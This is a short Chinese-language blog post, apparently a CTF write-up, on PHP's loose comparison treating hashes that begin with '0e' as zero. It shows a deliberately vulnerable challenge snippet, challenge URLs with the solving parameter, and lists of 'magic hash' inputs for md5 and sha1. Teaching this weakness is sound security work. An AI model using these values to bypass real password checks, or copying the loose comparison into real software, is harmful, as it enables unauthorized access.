醉梦半醒的博客

“0E”开头的哈希值 VS md5 collision,bypass again

字数统计: 166阅读时长: 1 min
2018/06/24 Share

PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。

例题:

http://chinalover.sinaapp.com/web19/

http://chinalover.sinaapp.com/web17/index.php?a=QNKCDZO&b=240610708

 

<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}
?>

以下值在md5加密后以0E开头

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a
  • s214587387a
  • s214587387a

以下值在sha1加密后以0E开头,sha1(str)

  • sha1(‘aaroZmOk’)
  • sha1(‘aaK1STfY’)
  • sha1(‘aaO8zKZF’)
  • sha1(‘aa3OFF9m’)

writeup:http://chinalover.sinaapp.com/web19/?a=240610708

CATALOG
  1. 1. writeup:http://chinalover.sinaapp.com/web19/?a=240610708